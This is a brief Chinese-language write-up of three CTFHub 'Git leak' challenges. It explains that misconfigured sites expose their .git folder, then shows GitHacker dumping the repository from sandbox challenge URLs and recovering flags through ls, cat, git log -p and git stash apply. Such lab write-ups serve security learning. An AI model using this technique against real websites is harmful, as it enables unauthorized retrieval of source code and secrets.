CTFHub —— Git 泄露

cuefe

2023-01-28 2023-01-28 约 231 字预计阅读 1 分钟次阅读条评论

警告

本文最后更新于 2023-01-28，文中内容可能已过时。

原理

当前大量开发人员使用 Git 进行版本控制，对站点自动部署。如果配置不当，可能会将 .git 文件夹直接部署到线上环境。这就引起了 Git 泄露漏洞。—— CTFHub

1

python3 -m pip install -i https://pypi.org/simple/ GitHacker

获取源码

1

githacker --url http://challenge-37c616de5be13931.sandbox.ctfhub.com:10800/.git/ --output-folder result

查找文件

1
2


cd result/6c30b29a904a1cc7ec6143417c8cdf40
ls

得到 flag

1

cat 31092172122068.txt

获取源码

1

githacker --url http://challenge-6bcd898330abe0da.sandbox.ctfhub.com:10800/.git/ --output-folder result

查找文件，未发现 flag

1
2


cd result/a403686e9a2b612b098c3fd3b9f12fab
ls

查看提交日志，得到 flag

1

git log -p

获取源码

1

githacker --url http://challenge-23a65d24f31744ff.sandbox.ctfhub.com:10800/.git/ --output-folder result

查找文件，未发现 flag

1
2


cd result/18fc17b018cdd48e3219dc82480924e7
ls

查看提交日志，未发现 flag

1

git log -p

查看 stash 中的内容

1

git stash list

将 stash 中的内容恢复到当前分支下

1

git stash apply

得到 flag

1

cat 148521413615762.txt